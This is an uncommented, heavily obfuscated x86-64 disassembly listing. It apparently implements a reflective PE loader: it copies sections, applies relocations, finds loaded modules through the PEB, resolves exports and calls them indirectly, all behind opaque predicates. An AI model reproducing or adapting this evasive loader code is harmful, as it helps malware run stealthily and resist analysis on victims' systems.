lea rbp, [rsi + rcx]
add rbp, r14
sub rbp, rcx
add rbp, rdi
add rbp, 0x404
cmp r15, rbp
setb bl
cmp rdx, rax
setb al
mov edx, ebx
xor dl, al
or bl, al
xor bl, 1
or bl, dl
jne 0x180002748
mov al, 1
test al, al
je 0x180002748
je 0x180002748
mov r14, r10
movabs rax, 0x2a09b116834afc0d
mov r8, rax
not r8
add r8, rsi
add r8, rax
mov rcx, rsi
not rcx
movabs rdx, 0x5ebc4f7bf50ad640
and rcx, rdx
not rdx
mov rbp, rsi
and rbp, rdx
or rbp, rcx
xor rbp, rdx
movabs rax, 0xbb11e00aabe6bde7
mov rbx, rax
not rbx
movabs rdx, 0xa033fa7b0f4d38b5
mov rcx, rdx
and rcx, rbx
not rdx
mov rdi, rax
and rdi, rdx
or rdi, rcx
xor rdi, rdx
mov rcx, rbp
and rcx, 0xfffffffffffffff8
xor rbp, 0xfffffffffffffff8
or rbp, rcx
mov rcx, rdi
not rcx
mov r10, rsi
movabs r12, 0xa397146385bb12c2
mov rsi, r12
not rsi
mov rdx, rbx
and rdx, r12
and rax, rsi
or rax, rdx
or rbx, rcx
and rcx, r12
and rdi, rsi
or rdi, rcx
xor rdi, rax
not rbx
or rsi, r12
and rsi, rbx
or rsi, rdi
mov rax, rbp
not rax
movabs rcx, 0xba3468faea8b22db
and rax, rcx
not rcx
and rbp, rcx
or rbp, rax
xor rbp, rcx
xor rsi, rbp
not rsi
and rsi, rbp
je 0x1800026ba
xor ebp, ebp
mov rbx, r10
mov rdx, rsi
movabs rcx, 0x9f11d2d5125c3a55
movabs rdi, 0x4d1557416d5bc70d
mov r12, r10
nop
add rbx, 0xffffffffffffffff
movzx eax, byte [r11 + rbp]
mov byte [r15 + rbp], al
sub rdx, rdi
add rdx, rcx
add rdx, rdi
mov rax, rcx
not rax
add rdx, rax
add rbp, 1
cmp rsi, rbp
jne 0x180002680
add r11, rbp
add r15, rbp
sub r12, rbp
jmp 0x1800026bd
not edx
jmp 0x180002d79
mov r12, r10
mov r10, r14
cmp r8, 7
mov r14, qword [rsp + 0x60]
jb 0x180002d24
xor eax, eax
mov rdx, r12
nop word cs:[rax + rax]
nop
movzx ecx, byte [r11 + rax]
mov byte [r15 + rax], cl
movzx ecx, byte [r11 + rax + 1]
mov byte [r15 + rax + 1], cl
movzx ecx, byte [r11 + rax + 2]
mov byte [r15 + rax + 2], cl
movzx ecx, byte [r11 + rax + 3]
mov byte [r15 + rax + 3], cl
movzx ecx, byte [r11 + rax + 4]
mov byte [r15 + rax + 4], cl
movzx ecx, byte [r11 + rax + 5]
mov byte [r15 + rax + 5], cl
movzx ecx, byte [r11 + rax + 6]
mov byte [r15 + rax + 6], cl
add rdx, 0xfffffffffffffff8
movzx ecx, byte [r11 + rax + 7]
mov byte [r15 + rax + 7], cl
add rax, 8
cmp r12, rax
jne 0x1800026e0
jmp 0x180002d24
mov eax, 0xffffffe0
not rax
movabs rbp, 0x6df458ed5ecfcf9c
and rax, rbp
not rbp
mov edx, ebp
mov ecx, 0xffffffe0
and edx, ecx
or rdx, rax
xor rdx, rbp
mov rdi, rsi
not rdi
movabs rcx, 0x227ff2c4013dc9f9
mov rax, rcx
and rax, rdi
mov rbp, rcx
not rbp
mov ebx, ebp
mov qword [rsp + 0x78], rsi
and ebx, esi
or rbx, rax
and rbp, rdx
not rdx
and rdx, rcx
or rbp, rdx
xor rbp, rbx
xor rdi, rbp
and rdi, rbp
movabs rcx, 0xfcb165e757481c17
mov rax, rcx
mov qword [rsp + 0xa8], rdi
sub rax, rdi
sub rax, rcx
movabs rcx, 0xee554dcc645c1ce8
add rax, rcx
neg rax
add rax, rcx
add rax, 0xffffffffffffffe0
mov rbx, rax
shr rbx, 5
add rbx, 1
mov rsi, rbx
not rsi
movabs rcx, 0x33ca7c51037ff48b
mov rbp, rcx
and rbp, rsi
mov rdx, rcx
not rdx
mov rdi, rbx
and rbx, rdx
or rbx, rbp
mov ebp, ecx
and ebp, 3
movabs rcx, 0xffffffffffffffc
and rdx, rcx
or rdx, rbp
xor rdx, rbx
not rdx
or rdx, rsi
movabs rcx, 0x4e29db453761ea94
mov rbp, rcx
not rbp
or rbp, rcx
not rdx
and rdx, rbp
cmp rax, 0x60
mov qword [rsp + 0x70], r8
mov qword [rsp + 0x98], r14
mov qword [rsp + 0xa0], rdx
jae 0x180002868
xor r12d, r12d
jmp 0x180002c95
movabs rax, 0x7069a777fe8b1e8e
mov rcx, rax
add rax, rdx
sub rdx, rdi
mov qword [rsp + 0x30], rdx
sub rdi, rax
add rdi, rcx
mov qword [rsp + 0x28], rdi
mov rax, qword [rsp + 0x80]
add rax, r8
mov qword [rsp + 0x48], rax
lea rax, [r14 + r12]
add rax, 0x414
mov qword [rsp + 0x58], rax
mov r8, 0xffffffffffffffff
xor r12d, r12d
nop word cs:[rax + rax]
nop
movabs rdx, 0xe6d04d2e4191aee0
mov rax, rdx
and rax, r8
not rdx
mov r14, r12
and r14, rdx
or r14, rax
xor r14, rdx
movabs rax, 0x30762e5e81611ce8
mov rdx, rax
and rdx, 0xffffffffffffffdf
not rax
mov esi, eax
and esi, 0x20
or rsi, rdx
xor rsi, rax
movabs r13, 0xe78bbcc194c971cc
mov r10, r13
not r10
mov rbp, r14
xor rbp, r10
and rbp, r14
movabs rcx, 0xd3efea5df55512e6
mov rax, rcx
not rax
mov rdi, r8
or rdi, r13
or rax, rcx
not rdi
and rdi, rax
mov rax, rbp
not rax
movabs r9, 0xdafd4e9b662609ee
mov rbx, r9
not rbx
mov rdx, rax
and rdx, r9
and rbp, rbx
or rbp, rdx
mov rdx, rdi
not rdx
or rax, rdx
and rdx, r9
and rdi, rbx
or rdi, rdx
mov rcx, qword [rsp + 0x58]
movups xmm0, xmmword [rcx + r12 - 0x10]
movups xmm1, xmmword [rcx + r12]
mov rcx, qword [rsp + 0x48]
movups xmmword [rcx + r12 - 0x10], xmm0
movups xmmword [rcx + r12], xmm1
xor rdi, rbp
mov rdx, rsi
xor rdx, r10
and rdx, rsi
not rax
or rbx, r9
and rbx, rax
mov eax, r13d
not eax
and eax, 0x20
or rbx, rdi
mov edi, eax
and edi, edx
xor rdx, rax
or rdx, rdi
mov rax, rbx
not rax
movabs rcx, 0x8f595863053251e3
and rax, rcx
mov rdi, rcx
not rdi
and rbx, rdi
or rbx, rax
and rdi, rdx
not rdx
and rdx, rcx
or rdi, rdx
xor rdi, rbx
mov rax, r14
and rax, rsi
xor rsi, r14
or rsi, rax
mov rax, rsi
not rax
movabs rdx, 0xa330475d4bbc788f
and rax, rdx
not rdx
and rsi, rdx
or rsi, rax
xor rsi, rdx
movabs rcx, 0xb1e022d29e11bb9
mov rbx, rcx
not rbx
mov rax, r10
and rax, rcx
mov rdx, r13
and rdx, rbx
or rdx, rax
mov rax, r13
and rax, rcx
mov rbp, r10
and rbp, rbx
or rbp, rax
xor rbp, rdx
or r10, r13
not r10
or rbx, rcx
and rbx, r10
or rbx, rbp
not rsi
not rbx
or rbx, rsi
movabs rcx, 0xde5e25e60167c630
mov rax, rcx
not rax
or rax, rcx
not rbx
and rbx, rax
mov rax, rdi
not rax
mov rdx, rbx
not rdx
movabs rcx, 0x8c12a175ae41d2c7
mov rbp, rcx
not rbp
mov rsi, rax
and rsi, rcx
and rdi, rbp
or rdi, rsi
or rax, rdx
and rdx, rcx
and rbx, rbp
or rbx, rdx
xor rbx, rdi
not rax
or rbp, rcx
and rbp, rax
or rbp, rbx
movups xmm0, xmmword [r11 + rbp]
movups xmm1, xmmword [r11 + rbp + 0x10]
movups xmmword [r15 + rbp], xmm0
movups xmmword [r15 + rbp + 0x10], xmm1
movabs rbp, 0x83db9adde4d2eba
mov rax, rbp
and rax, r8
not rbp
mov r10, r12
and r10, rbp
or r10, rax
xor r10, rbp
movabs rbp, 0x75f7a3deb52d72d1
mov rax, rbp
and rax, 0xffffffffffffffbf
not rbp
mov edx, ebp
and edx, 0x40
or rdx, rax
xor rdx, rbp
movabs r14, 0xdf005e794c88f2d8
mov rbx, r14
not rbx
mov rax, r10
xor rax, rbx
and rax, r10
movabs rcx, 0xf5c2ba2aba99d564
mov rbp, rcx
not rbp
mov rsi, r8
or rsi, r14
or rbp, rcx
not rsi
and rsi, rbp
movabs rdi, 0x9089cb991d1647a5
mov ebp, edi
not ebp
mov ecx, r14d
not ecx
or ebp, edi
and ebp, ecx
mov rcx, rax
and rcx, rsi
xor rsi, rax
mov rdi, rdx
xor rdi, rbx
and rdi, rdx
and ebp, 0x40
or rsi, rcx
mov ecx, ebp
and ecx, edi
xor rbp, rdi
or rbp, rcx
mov rcx, rsi
not rcx
and rcx, rbp
not rbp
and rbp, rsi
or rbp, rcx
mov rcx, r10
and rcx, rdx
xor rdx, r10
or rdx, rcx
mov rcx, rdx
not rcx
movabs rax, 0xc9ae7998bf50486d
and rcx, rax
not rax
and rdx, rax
or rdx, rcx
xor rdx, rax
mov rcx, r14
and rcx, rbx
xor rbx, r14
or rbx, rcx
not rdx
not rbx
or rbx, rdx
movabs rax, 0xf62d87be8d97f14f
mov rcx, rax
not rcx
or rcx, rax
not rbx
and rbx, rcx
mov rcx, rbp
not rcx
movabs rdi, 0xcc05691d2be4ff03
mov rdx, rdi
not rdx
mov rax, rcx
and rax, rdi
and rbp, rdx
or rbp, rax
mov rax, rbx
not rax
or rcx, rax
and rax, rdi
and rbx, rdx
or rbx, rax
xor rbx, rbp
not rcx
or rdx, rdi
and rdx, rcx
or rdx, rbx
movups xmm0, xmmword [r11 + rdx]
movups xmm1, xmmword [r11 + rdx + 0x10]
movups xmmword [r15 + rdx], xmm0
movups xmmword [r15 + rdx + 0x10], xmm1
mov rax, r12
xor rax, 0xffffffffffffff9f
and rax, r12
mov ecx, r8d
and ecx, 0x60
mov rdx, r12
and rdx, 0xffffffffffffff9f
or rdx, rcx
mov rcx, rax
and rcx, rdx
xor rdx, rax
or rdx, rcx
movdqu xmm0, xmmword [r11 + rdx]
movdqu xmm1, xmmword [r11 + rdx + 0x10]
movdqu xmmword [r15 + rdx], xmm0
movdqu xmmword [r15 + rdx + 0x10], xmm1
sub r12, 0xffffffffffffff80
add qword [rsp + 0x28], 0xfffffffffffffffc
add r8, 0xffffffffffffff80
add qword [rsp + 0x30], 4
jne 0x1800028c0
mov rbp, qword [rsp + 0xa0]
test rbp, rbp
mov rcx, qword [rsp + 0x70]
je 0x180002cf4
add rcx, qword [rsp + 0x80]
lea rax, section..data
mov rdx, qword [rsp + 0x98]
add rax, rdx
add rax, 0x414
nop word [rax + rax]
movdqu xmm0, xmmword [rax + r12 - 0x10]
movdqu xmm1, xmmword [rax + r12]
movdqu xmmword [rcx + r12 - 0x10], xmm0
movdqu xmmword [rcx + r12], xmm1
add r12, 0x20
add rbp, 0xffffffffffffffff
jne 0x180002cd0
mov rsi, qword [rsp + 0x78]
mov rdx, qword [rsp + 0xa8]
cmp rdx, rsi
mov r14, qword [rsp + 0x60]
mov r10, qword [rsp + 0x40]
mov r9, qword [rsp + 0x90]
mov r13, qword [rsp + 0x88]
jne 0x180002db2
mov r11d, dword [0x180023460]
mov r15d, dword [0x180023464]
lea eax, [r11 - 1]
imul eax, r11d
mov ecx, eax
not ecx
and ecx, 0x348a5c60
and eax, 0xcb75a39f
or eax, ecx
mov edx, eax
xor edx, 0xcb75a39f
xor eax, 0x10005440
and eax, 0x90007741
mov ecx, edx
and ecx, 0x6fff88be
or ecx, eax
xor ecx, 0x6fff88bf
and edx, 0xfffffffe
or edx, ecx
not edx
mov rdi, qword [rsp + 0x68]
test edx, edx
setne dl
sete al
cmp r15d, 0xa
setl bl
cmp r15d, 9
setg cl
and al, cl
and bl, dl
or bl, al
mov eax, edx
and al, cl
xor dl, cl
or dl, al
xor dl, 1
test bl, dl
jne 0x180002450
xor bl, dl
jne 0x180002450
jmp 0x180002e10
mov r14, r10
movabs rax, 0x7146799b58bfa053
sub rsi, rax
movabs rcx, 0x5563a1c6bcae405d
sub rsi, rcx
add rsi, rax
movabs rax, 0x5a40dc89fab90a5d
add rsi, rax
sub rsi, rdx
sub rsi, rax
add r11, rdx
add r15, rdx
add rsi, rcx
jmp 0x180002581
jmp 0x180002e00
jmp 0x180002e10
mov r8d, dword [0x180023468]
mov r15d, dword [0x18002346c]
lea ecx, [r8 - 1]
imul ecx, r8d
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x564b3857
and ecx, 0xa9b4c7a8
or ecx, ebp
xor ecx, 0xa9b4c7a9
xor edx, ecx
test edx, ecx
sete r9b
setne bl
cmp r15d, 0xa
setl cl
cmp r15d, 9
setg dl
or dl, bl
xor dl, 1
xor cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
nop dword [rax + rax]
test cl, cl
je 0x180002e70
mov r9d, dword [r14 + 0xb0]
cmp dword [r10 + r9], 0
je 0x1800034fb
mov rax, r14
movabs rcx, 0x3aec3c1950b94486
mov rbp, rcx
sub rbp, qword [r14 + 0x30]
sub rbp, rcx
add rbp, r10
add r9, r10
mov eax, 0xffffffe0
add rax, 0x1f
mov qword [rsp + 0x28], rax
mov bl, 1
mov r14, r9
jmp 0x180002f70
mov edi, dword [r14 + 4]
lea r9, [r14 + rdi]
lea eax, [r8 - 1]
imul eax, r8d
mov ecx, eax
not ecx
and ecx, 0x89c82474
and eax, 0x7637db8b
or eax, ecx
mov ecx, eax
xor ecx, 0x7637db8b
xor eax, 0x450
and eax, 0x34224fd3
mov edx, ecx
and edx, 0xcbddb02c
or edx, eax
xor edx, 0xcbddb02d
and ecx, 0xfffffffe
or ecx, edx
mov eax, ecx
not eax
and eax, 0x756903b
and ecx, 0xf8a96fc4
or ecx, eax
xor ecx, 0xf8a96fc4
sete r10b
setne cl
cmp r15d, 9
setg dl
cmp r15d, 0xa
setl al
mov ebx, edx
xor dl, cl
and cl, al
and bl, r10b
or bl, cl
or al, r10b
xor al, 1
or al, dl
xor bl, 1
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
cmp dword [r14 + rdi], 0
mov r14, r9
mov r10, qword [rsp + 0x40]
je 0x1800034f2
nop word cs:[rax + rax]
nop dword [rax]
test bl, 1
je 0x180002f70
mov edi, dword [r14 + 4]
test bl, 1
je 0x180002f70
cmp edi, 8
jb 0x180002ebf
lea ecx, [r8 - 1]
imul ecx, r8d
mov ebx, ecx
not ebx
and ebx, 0x73aa434f
and ecx, 0x8c55bcb0
or ecx, ebx
mov ebx, ecx
xor ebx, 0x8c55bcb0
and ebx, 0xfffffffe
xor ecx, 0x73aa434e
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0xdafe1353
and ecx, 0x2501ecac
or ecx, ebx
xor ecx, 0x2501ecac
sete bl
setne dl
cmp r15d, 9
setg cl
cmp r15d, 0xa
setl al
and al, dl
and bl, cl
or bl, al
mov eax, ecx
and al, dl
xor cl, dl
or cl, al
xor cl, 1
test bl, cl
jne 0x180002ffd
xor bl, cl
je 0x1800034e0
movabs rdx, 0xc3bdcceabf9449f7
add rdi, rdx
movabs rax, 0xe168382d596bed0d
mov rcx, rax
add rdi, rax
mov rax, rdx
sub rax, rdi
movabs rdx, 0x1fffffff8
sub rax, rdx
movabs rdx, 0x838d1a4bbe0914b4
add rax, rdx
add rax, rcx
sub rdx, rax
shr rdx, 1
mov rax, rdx
not rax
movabs rcx, 0xe563ec113a2a5037
and rax, rcx
not rcx
and rdx, rcx
or rdx, rax
xor rdx, rcx
mov r11, rbp
mov rbp, qword [rsp + 0x28]
mov rax, rbp
not rax
movabs rsi, 0xa100d6e9da65c10b
mov r12, rsi
mov r10, rsi
not r10
mov rcx, rdx
not rcx
movabs rsi, 0x541d7fef652c2e0c
mov rbx, rsi
not rbx
mov rdi, rcx
and rdi, rsi
and rdx, rbx
or rdx, rdi
mov rdi, rbp
and rdi, rsi
and rax, rbx
or rax, rdi
xor rax, rdx
or rcx, rbp
mov rbp, r11
not rcx
or rbx, rsi
and rbx, rcx
or rbx, rax
mov rax, r12
and rax, r10
xor r10, r12
or r10, rax
not r10
or r10, rbx
movabs rcx, 0x8808f0208a0a4e7d
mov rax, rcx
not rax
or rax, rcx
not r10
and r10, rax
xor r11d, r11d
nop word cs:[rax + rax]
nop
cmp r10, r11
je 0x180002ebb
movzx eax, word [r14 + r11*2 + 8]
mov ecx, eax
shr ecx, 0xc
mov edi, eax
not edi
mov edx, edi
and edx, 0xfffff000
mov ebx, eax
and ebx, 0xfff
or ebx, edx
xor edi, ebx
and edi, ebx
cmp eax, 0xa000
jae 0x180003160
cmp ecx, 3
jne 0x180003440
mov eax, dword [r9]
mov rcx, qword [rsp + 0x40]
lea rax, [rcx + rax*4]
add dword [rax + rdi*4], ebp
mov r8d, dword [0x180023468]
mov r15d, dword [0x18002346c]
jmp 0x180003440
cmp ecx, 0xa
jne 0x180003440
lea edx, [r8 - 1]
imul edx, r8d
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
not edx
or edx, eax
cmp edx, 0xffffffff
not edx
sete cl
setne r8b
cmp r15d, 9
setg bl
cmp r15d, 0xa
setl al
and al, r8b
and cl, bl
or cl, al
mov eax, ebx
and al, r8b
xor bl, r8b
or bl, al
mov eax, ebx
xor al, 1
mov r12d, edi
cmp cl, al
jne 0x180003286
xor cl, 1
or cl, bl
xor cl, 1
jne 0x180003286
mov eax, dword [r9]
movabs rcx, 0x9582ca7d074e6890
mov rbx, rcx
add rcx, r12
movabs rdx, 0xb67d045c0d4067db
sub rcx, rdx
sub rcx, rbx
movabs rbx, 0x178f6ad38e3ba992
sub rcx, rbx
add rcx, qword [rsp + 0x40]
add rcx, rbx
add rcx, rdx
movabs rdx, 0xccdb2c287ae6e223
add rax, rdx
sub rdx, rax
movabs rax, 0x2a49e2515891fa55
add rcx, rax
sub rdx, rcx
add rdx, rax
movabs rcx, 0x8741658a18809e73
mov rax, rcx
sub rax, rdx
sub rax, rcx
mov rcx, qword [rax]
movabs rdx, 0x80e77ee32dbec4b0
add rcx, rdx
add rcx, rbp
movabs rbx, 0x32e13ac162a51bfe
add rcx, rbx
sub rcx, rdx
sub rcx, rbx
mov qword [rax], rcx
mov eax, dword [0x180023468]
mov r15d, dword [0x18002346c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
not edx
test edx, edx
sete dl
setne r8b
cmp r15d, 0xa
setl cl
cmp r15d, 9
setg al
and dl, al
or al, r8b
mov ebx, eax
xor bl, 1
and cl, r8b
or cl, dl
cmp bl, cl
jne 0x180003351
xor cl, 1
or al, cl
xor al, 1
jne 0x180003351
mov rdx, r12
movabs rax, 0x6a69eeaaa560f2be
mov rbx, rax
sub rdx, rax
movabs rax, 0x8f0f56281011e8fa
mov rcx, rax
add rdx, rax
add rdx, rbx
movabs rax, 0xb70687dc0c2a3999
sub rdx, rax
add rdx, qword [rsp + 0x40]
add rdx, rax
movabs rax, 0x709f7607f594179c
add rdx, rax
sub rdx, rcx
sub rdx, rax
mov eax, dword [r9]
movabs rcx, 0x4d2cbe1138de3ba2
add rdx, rcx
add rdx, rax
sub rdx, rcx
mov rax, qword [rdx]
movabs rcx, 0x39c4f04d64540277
mov rbx, rcx
add rax, rcx
movabs rcx, 0xc360f0c799ea1fc6
sub rax, rcx
add rax, rbp
add rax, rcx
sub rax, rbx
mov qword [rdx], rax
mov eax, dword [r9]
mov rdx, r12
movabs rcx, 0xdce980ea70774239
sub rdx, rcx
movabs rbx, 0x683dff2a2d35141
sub rdx, rbx
add rdx, rcx
movabs rcx, 0xf4719578c5d18980
sub rdx, rcx
add rdx, qword [rsp + 0x40]
add rdx, rcx
movabs rcx, 0x9fbe299fe5e417da
sub rdx, rcx
add rdx, rbx
add rdx, rcx
movabs rcx, 0xe15efb4cfcfbeede
mov rbx, rcx
add rcx, rdx
add rcx, rax
sub rcx, rbx
mov rax, qword [rcx]
movabs rbx, 0xa024da9099fff1a0
add rax, rbx
movabs rdi, 0x616087093ddf12ae
sub rax, rdi
add rax, rbp
add rax, rdi
sub rax, rbx
mov qword [rcx], rax
mov r8d, dword [0x180023468]
lea eax, [r8 - 1]
imul eax, r8d
mov ecx, eax
not ecx
mov edi, ecx
and edi, 0x83f079cc
and eax, 0x7c0f8633
or eax, edi
mov r15d, dword [0x18002346c]
xor eax, 0x7c0f8632
xor ecx, eax
test ecx, eax
sete dil
setne al
cmp r15d, 0xa
setl bl
cmp r15d, 9
setg cl
or cl, al
xor bl, dil
mov eax, ecx
xor al, 1
cmp al, bl
jne 0x180003440
xor bl, 1
or cl, bl
xor cl, 1
je 0x18000330f
nop dword [rax]
lea edi, [r8 - 1]
imul edi, r8d
mov eax, edi
not eax
mov edx, eax
and edx, 0xfffffffe
mov ecx, edi
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
sete al
setne r12b
cmp r15d, 0xa
setl bl
cmp r15d, 9
setg cl
and al, cl
or cl, r12b
mov esi, ecx
xor sil, 1
and bl, r12b
or bl, al
cmp sil, bl
jne 0x180003490
xor bl, 1
or cl, bl
xor cl, 1
je 0x1800034f0
add r11, 1
xor edi, 1
or edx, edi
mov eax, edx
not eax
and eax, 0x1f77c71b
and edx, 0xe08838e4
or edx, eax
xor edx, 0xe08838e4
sete al
setne bl
cmp r15d, 0xa
setl cl
cmp r15d, 9
setg dl
or dl, bl
xor dl, 1
xor cl, al
test dl, cl
jne 0x180003100
xor dl, cl
jne 0x180003100
nop dword [rax + rax]
jmp 0x1800034e0
jmp 0x1800034f0
test bl, 1
je 0x180004690
mov rax, qword [rsp + 0x60]
mov ebp, dword [rax + 0x90]
add rbp, r10
lea rax, [r10 + 2]
mov qword [rsp + 0x78], rax
mov r14b, 1
lea eax, [r8 - 1]
imul eax, r8d
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xd3a4d833
and eax, 0x2c5b27cc
or eax, edx
xor eax, 0xd3a4d832
or eax, ecx
cmp eax, 0xffffffff
sete bl
cmp r15d, 0xa
setl dl
xor bl, dl
mov ecx, ebx
xor cl, 1
and dl, cl
mov eax, edx
xor al, 1
xor dl, bl
or al, cl
xor al, 1
or al, dl
nop dword [rax]
test al, al
je 0x180003560
mov ecx, dword [rbp + 0xc]
test rcx, rcx
je 0x180004702
mov qword [rsp + 0x68], rbp
mov rax, qword gs:[0x60]
mov r8, qword [rax + 0x18]
mov eax, dword [0x180023478]
mov edx, dword [0x18002347c]
lea ebx, [rax - 1]
imul ebx, eax
mov ebp, ebx
not ebp
and ebx, 0xd853d20b
mov eax, ebp
and eax, 0x27ac2df4
or eax, ebx
xor eax, 0x27ac2df5
and ebp, 0xfffffffe
or ebp, eax
cmp ebp, 0xffffffff
sete al
setne bl
cmp edx, 9
setg r11b
cmp edx, 0xa
setl dl
and bl, dl
and r11b, al
or r11b, bl
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
xor dl, 1
mov eax, dword [0x180023470]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov ebx, eax
and ebx, 0xfffffffe
and ebp, 1
or ebp, ebx
not ebp
or ebp, eax
cmp ebp, 0xffffffff
sete r10b
cmp dword [0x180023474], 0xa
setl r9b
mov eax, dword [0x180023480]
lea esi, [rax - 1]
imul esi, eax
mov eax, esi
not eax
mov edi, eax
and edi, 0x3bb86109
and esi, 0xc4479ef6
or esi, edi
xor esi, 0x3bb86108
or esi, eax
cmp esi, 0xffffffff
sete sil
cmp dword [0x180023484], 0xa
setl bl
test r11b, dl
jne 0x180003654
xor r11b, dl
je 0x1800046c0
add rcx, qword [rsp + 0x40]
mov qword [rsp + 0x30], rcx
add r8, 0x10
mov edx, r9d
and dl, r10b
xor r9b, r10b
mov eax, edx
and al, r9b
xor r9b, dl
or r9b, al
xor sil, bl
mov eax, esi
xor al, 1
and bl, al
mov r10d, ebx
xor r10b, 1
xor bl, sil
or r10b, al
xor r10b, 1
or r10b, bl
mov qword [rsp + 0x28], r8
mov r11, r8
mov r11, qword [r11]
cmp r11, qword [rsp + 0x28]
je 0x1800045d6
test r9b, r9b
je 0x180004660
mov rsi, r13
nop word cs:[rax + rax]
nop
cmp byte [rsi + 1], 0
lea rsi, [rsi + 1]
jne 0x1800036c0
test r10b, r10b
je 0x180004670
movabs rax, 0x8907467ed27ef99d
mov rcx, rax
sub rsi, rax
movabs rax, 0xe89a1103a9f45a4f
add rsi, rax
sub rsi, qword [rsp + 0x50]
sub rsi, rax
movabs rax, 0xe1e9b55c9b2bbd52
add rsi, rax
add rsi, rcx
sub rsi, rax
je 0x1800037a2
mov r15, qword [r11 + 0x60]
xor r12d, r12d
mov rbp, rsi
nop dword [rax + rax]
movzx edx, word [r15 + r12*2]
test edx, edx
setne bl
movsx edi, byte [r13 + r12 + 1]
lea r8d, [rdx - 0x41]
lea eax, [rdx + 0x20]
cmp r8w, 0x1a
cmovae eax, edx
lea r8d, [rdi - 0x41]
lea ecx, [rdi + 0x20]
cmp r8b, 0x1a
cmovae ecx, edi
sub eax, ecx
sete r8b
setne cl
and cl, bl
or edx, eax
sete dl
or dl, cl
mov ecx, ebx
and cl, r8b
xor bl, r8b
or bl, cl
mov ecx, ebx
xor cl, 1
cmp dl, cl
jne 0x18000379a
xor dl, 1
or dl, bl
xor dl, 1
jne 0x18000379a
movabs rax, 0x1d665726b46956b0
add rbp, rax
not rax
add rbp, rax
add r12, 1
cmp rsi, r12
jne 0x180003720
jmp 0x1800037a2
test eax, eax
jne 0x18000369b
mov r9, qword [r11 + 0x30]
mov eax, dword [0x180023488]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xd9727329
and ecx, 0x268d8cd6
or ecx, eax
mov eax, ecx
xor eax, 0x268d8cd6
and eax, 0xfffffffe
xor ecx, 0xd9727328
or ecx, eax
cmp ecx, 0xffffffff
setne cl
sete al
cmp dword [0x18002348c], 9
setg dl
xor al, dl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
cmp al, dl
jne 0x180003800
or al, dl
xor al, 1
je 0x1800046d0
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
mov ebp, dword [r9 + rax + 0x20]
add r8, r9
add rbp, r9
mov r10d, dword [r9 + rax + 0x24]
add r10, r9
mov eax, dword [0x180023490]
mov ecx, dword [0x180023494]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete r11b
setne bl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl dl
mov ecx, edx
xor cl, bl
and cl, dl
and al, r11b
and dl, bl
or dl, al
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov edi, dword [rbp]
add rdi, r9
mov rsi, qword [rsp + 0xb0]
nop
test dl, dl
je 0x180003880
movzx eax, byte [rsi]
movzx r12d, byte [rdi]
cmp al, r12b
sete r11b
setne r15b
test al, al
setne cl
sete bl
and bl, r15b
and cl, r11b
or cl, bl
cmp cl, 1
jne 0x1800038bc
test al, al
je 0x1800038bc
add rdi, 1
add rsi, 1
test r14b, r14b
jne 0x180003880
cmp al, r12b
je 0x1800038cb
add rbp, 4
add r10, 2
jmp 0x180003870
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, qword [rsp + 0x30]
call r9
mov qword [rsp + 0x30], rax
mov r8d, dword [0x180023468]
mov r15d, dword [0x18002346c]
lea eax, [r8 - 1]
imul eax, r8d
mov ecx, eax
not ecx
and eax, 0x45a4043a
mov edx, ecx
and edx, 0xba5bfbc5
or edx, eax
xor edx, 0xba5bfbc4
and ecx, 0xfffffffe
or ecx, edx
cmp ecx, 0xffffffff
sete al
cmp r15d, 0xa
setl cl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
xor dl, 1
cmp dl, cl
mov r10, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x68]
jne 0x18000394b
or dl, cl
xor dl, 1
je 0x1800046e0
mov edi, dword [rbp]
mov eax, dword [rbp + 0x10]
add rax, r10
mov qword [rsp + 0x48], rax
add rdi, r10
mov rsi, qword [rdi]
test rsi, rsi
je 0x1800045de
mov qword [rsp + 0x70], rdi
mov rax, qword [rsp + 0x78]
add rax, rsi
mov rdx, rsi
not rdx
movabs rbx, 0x435b33c6dc3c10ec
mov rcx, rbx
not rcx
mov rbp, rsi
and rbp, rbx
and rcx, rdx
or rcx, rbp
movabs rbp, 0xbca4cc3923c310ec
xor rcx, rbp
and rdx, 0xffffffffffff0000
or rdx, rcx
test rsi, rsi
not rdx
cmovns rdx, rax
mov qword [rsp + 0x58], rdx
mov rax, qword gs:[0x60]
mov r15, qword [rax + 0x18]
add r15, 0x10
mov eax, dword [0x180023478]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
sete r10b
cmp dword [0x18002347c], 0xa
setl bpl
xor r10b, bpl
mov r9d, r10d
xor r9b, 1
and bpl, r9b
mov eax, dword [0x180023470]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x54a2a362
and ecx, 0xab5d5c9d
or ecx, eax
mov eax, ecx
xor eax, 0xab5d5c9d
xor ecx, 0x40a28100
and ecx, 0x42bfc505
mov edx, eax
and edx, 0xbd403afa
or edx, ecx
xor edx, 0xbd403afb
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xd1987bf0
and eax, 0x2e67840f
or eax, ecx
xor eax, 0x2e67840f
sete al
